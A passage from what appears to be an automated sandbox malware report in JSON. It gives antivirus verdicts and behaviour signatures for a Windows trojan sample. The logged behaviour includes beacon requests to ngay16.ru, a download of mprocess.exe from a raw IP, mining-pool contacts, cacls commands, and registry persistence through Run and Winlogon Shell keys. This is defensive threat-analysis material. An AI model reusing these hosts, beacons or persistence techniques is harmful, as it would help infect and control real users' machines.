(W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.12675564 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Spy.Win32.Zbot.yuak","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Inject.evsrmz","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_CO.938BF19B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_CO.938BF19B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanSpy.Zbot","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".ndata\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CSRSS.EXE\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CSRSS.EXE\")\n \"csrss.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\105925.EXE\")\n \"csrss.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\105925.EXE\")\n \"csrss.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\11149.EXE\")\n \"csrss.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\11149.EXE\")","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ngay16.ru\"\n \"pool.minexmr.com\"\n \"ngay1617.ru\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"165.227.195.252:80\"\n \"67.205.149.140:80\"\n \"94.23.41.130:4444\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"csrss.exe\" created file \"%TEMP%\\per\"\n \"csrss.exe\" created file \"%TEMP%\\105925.exe\"\n \"csrss.exe\" created file \"%TEMP%\\105925.exe:Zone.Identifier\"\n \"csrss.exe\" created file \"%TEMP%\\11149.exe\"\n \"csrss.exe\" created file \"%TEMP%\\11149.exe:Zone.Identifier\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\3a886eb8-fe40-4d0a-b78b-9e0bcb683fb7\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"FunCoil.bin\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /buon/index.php?id=21480827&c=1&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n \"GET /mprocess.exe HTTP/1.1\nHost: 67.205.149.140\nCache-Control: no-cache\"\n \"GET /buon/index.php?id=21480827&c=2&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n \"GET /buon/index.php?id=21480827&c=3&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n \"GET /buon/index.php?id=21480827&c=4&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n \"GET /buon/index.php?id=21480827&c=5&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n \"GET /buon/index.php?id=21480827&c=6&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n \"GET /buon/index.php?id=21480827&c=7&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n \"GET /buon/index.php?id=21480827&c=8&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n \"GET /buon/index.php?id=21480827&c=9&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"\"cmd /c echo Y|CACLS \"%APPDATA%\\21480827\\csrss.exe\" /P \"qYYFE7g:R\"\" on 2017-11-29.10:52:22.680, \"/S /D /c\" echo Y\"\" on 2017-11-29.10:52:22.770, \"\"cmd /c echo Y|CACLS \"%APPDATA%\\21480827\" /P \"qYYFE7g:R\"\" on 2017-11-29.10:52:22.841\n \"/S /D /c\" echo Y\"\" on 2017-11-29.10:52:22.891","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$36","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"Edmonton.dll\" has type \"PE32 executable (DLL) (console) Intel 80386 for MS Windows\"\n \"105925.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive\"\n \"FunCoil.bin\" has type \"data\"\n \"education.dll\" has type \"PE32 executable (DLL) (console) Intel 80386 for MS Windows\"\n \"11149.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive\"\n \"System.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"\n \"index[1].php\" has type \"ASCII text with no line terminators\"\n \"desktop.ini\" has type \"empty\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$37","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://nsis.sf.net/NSIS_Error\"\n Pattern match: \"http://67.205.149.140/mprocess.exe;5\"\n Pattern match: \"http://67.205.149.140/mprocess.exe;M\"\n Heuristic match: \"GET /buon/index.php?id=21480827&c=5&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n Heuristic match: \"GET /buon/index.php?id=21480827&c=6&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n Heuristic match: \"GET /buon/index.php?id=21480827&c=7&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n Heuristic match: \"GET /buon/index.php?id=21480827&c=8&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n Heuristic match: \"GET /buon/index.php?id=21480827&c=9&mk=d067ce&il=H&vr=1.53&bt=32 HTTP/1.1\nHost: ngay16.ru\"\n Heuristic match: \"ngay16.ru\"\n Heuristic match: \"pool.minexmr.com\"\n Heuristic match: \"ngay1617.ru\"\n Pattern match: \"http://schemas.microsoft.com/SMI/2005/WindowsSettings\"\n Pattern match: \"http://67.205.149.140/mprocess.exe\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe.bin\" was detected as \"Nullsoft PiMP Stub -> SFX\"\n \"Edmonton.dll\" was detected as \"Armadillo v1.xx - v2.xx\"\n \"105925.exe\" was detected as \"Nullsoft PiMP Stub -> SFX\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"csrss.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"netsh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"cacls.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"csrss.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"105925.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"11149.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"wuapp.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"netsh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"csrss.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"\" sleeping for \"00180000\" milliseconds\n \"csrss.exe\" sleeping for \"00180000\" milliseconds","origin":"API Call","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download\" (SID: 2016538, Rev: 3, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO SUSPICIOUS Dotted Quad Host MZ Response\" (SID: 2021076, Rev: 2, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/63 reputation engines marked \"http://nsis.sf.net\" as malicious (1% detection rate)\n 11/66 reputation engines marked \"http://67.205.149.140/mprocess.exe;m\" as malicious (16% detection rate)\n 2/66 reputation engines marked \"http://67.205.149.140\" as malicious (3% detection rate)\n 11/66 reputation engines marked \"http://67.205.149.140/mprocess.exe;5\" as malicious (16% detection rate)\n 2/66 reputation engines marked \"http://ngay16.ru\" as malicious (3% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"csrss.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"netsh.exe\" called \"OpenService\" to access the \"policyagent\" service\n \"netsh.exe\" called \"OpenService\" to access the \"ServicesActive\" service requesting \"SERVICE_QUERY_CONFIG\" (0X1) access rights\n \"netsh.exe\" called \"OpenService\" to access the \"NapAgent\" service\n \"netsh.exe\" called \"OpenService\" to access the \"NapAgent\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"csrss.exe\" called \"OpenService\" to access the \"Sens\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"csrss.exe\" called \"OpenService\" to access the \"rasman\" service\n \"csrss.exe\" called \"OpenService\" to access the \"RASMAN\" service","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"General","name":"Sent a control code to a service","description":"\"netsh.exe\" called \"ControlService\" and sent control code \"0X24\" to the service \"NapAgent\"\n \"netsh.exe\" called \"ControlService\" and sent control code \"0X120\" to the service \"NapAgent\"","origin":"API Call","relevance":10,"id":"api-75","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"Edmonton.dll\" has type \"PE32 executable (DLL) (console) Intel 80386 for MS Windows\"\n \"105925.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive\"\n \"education.dll\" has type \"PE32 executable (DLL) (console) Intel 80386 for MS Windows\"\n \"11149.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive\"\n \"System.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"csrss.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"csrss.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"QL\"; Value: \"%APPDATA%\\21480827\\csrss.exe\")\n \"regini.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"msiexec.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\WINLOGON\"; Key: \"SHELL\"; Value: \"explorer.exe, %APPDATA%\\omega.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"HTTP/1.1 200 OK\nDate: Wed, 29 Nov 2017 09:54:30 GMT\nServer: Apache/2.2.15 (CentOS)\nX-Powered-By: PHP/5.3.3\nContent-Length: 47\nConnection: close\nContent-Type: text/html; charset=UTF-8\n\n00000000exe=http://67.205.149.140/mprocess.exe;5\"\n Heuristic match: \"GET /mprocess.exe HTTP/1.1\nHost: 67.205.149.140\nCache-Control: no-cache\n\n5\"\n Heuristic match: \"HTTP/1.1 200 OK\nDate: Wed, 29 Nov 2017 09:54:53 GMT\nServer: Apache/2.2.15 (CentOS)\nX-Powered-By: PHP/5.3.3\nContent-Length: 47\nConnection: close\nContent-Type: text/html; charset=UTF-8\n\n00000000exe=http://67.205.149.140/mprocess.exe;M\"\n Heuristic match: \"GET /mprocess.exe HTTP/1.1\nHost: 67.205.149.140\nCache-Control: no-cache\n\nM\"\n \"67.205.149.140\"\n \"1.0.0.1\"\n Heuristic match: \"00000000exe=http://67.205.149.140/mprocess.exe;\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"csrss.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"csrss.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"csrss.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"csrss.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"csrss.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"csrss.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"csrss.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegDeleteKeyA\n RegCloseKey\n RegOpenKeyExA\n RegDeleteValueA\n RegCreateKeyExA\n RegEnumKeyA\n GetFileAttributesA\n CopyFileA\n GetModuleFileNameA\n LoadLibraryA\n LoadLibraryExA\n GetFileSize\n CreateDirectoryA\n DeleteFileA\n GetCommandLineA\n GetProcAddress\n GetTempPathA\n CreateThread\n GetModuleHandleA\n FindFirstFileA\n WriteFile\n GetTempFileNameA\n FindNextFileA\n CreateProcessA\n Sleep\n CreateFileA\n GetTickCount\n ShellExecuteA\n FindWindowExA\n GetStartupInfoA\n TerminateProcess\n VirtualAlloc\n VirtualProtect","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$38","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"cacls.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a fake system process","description":"Process \"csrss.exe\" at non-system pathway \"%APPDATA%\\21480827\\csrss.exe\" (UID: 00019475-00003096)\n Process \"csrss.exe\" at non-system pathway \"%APPDATA%\\21480827\\csrss.exe\" (UID: 00023273-00003184)","origin":"Monitored Target","relevance":10,"id":"target-33","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a resource fork (ADS) file (often used to hide data)","description":"\"\" created file \"%APPDATA%\\21480827\\csrss.exe:Zone.Identifier\"\n \"csrss.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\105925.exe:Zone.Identifier\"\n \"csrss.exe\" created file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\11149.exe:Zone.Identifier\"","origin":"API Call","relevance":8,"id":"api-19","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines","description":"11/66 reputation engines marked \"http://67.205.149.140/mprocess.exe;m\" as malicious (16% detection rate)\n 11/66 reputation engines marked \"http://67.205.149.140/mprocess.exe;5\" as malicious (16% detection rate)","origin":"External System","relevance":10,"id":"avtest-7","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"14/68 Antivirus vendors marked sample as malicious (20% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"14/68 Antivirus vendors marked sample as malicious (20% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"9/67 Antivirus vendors marked dropped file \"education.dll\" as malicious (classified as \"Injector.IS.gen\" with 13% detection rate)\n 1/35 Antivirus vendors marked dropped file \"System.dll\" as malicious (classified as \"W32.Ramnit.CF\" with 2% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"14/68 Antivirus vendors marked spawned process \"\" (PID: 3724) as malicious (classified as \"Injector.IS.gen\" with 20% detection rate)\n 14/68 Antivirus vendors marked spawned process \"csrss.exe\" (PID: 3096) as malicious (classified as \"Injector.IS.gen\" with 20% detection rate)\n 14/68 Antivirus vendors marked spawned process \"csrss.exe\" (PID: 3184) as malicious (classified as \"Injector.IS.gen\" with 20% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5a1e82ac7ca3e12c1149a9f3"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$39","origin":"API 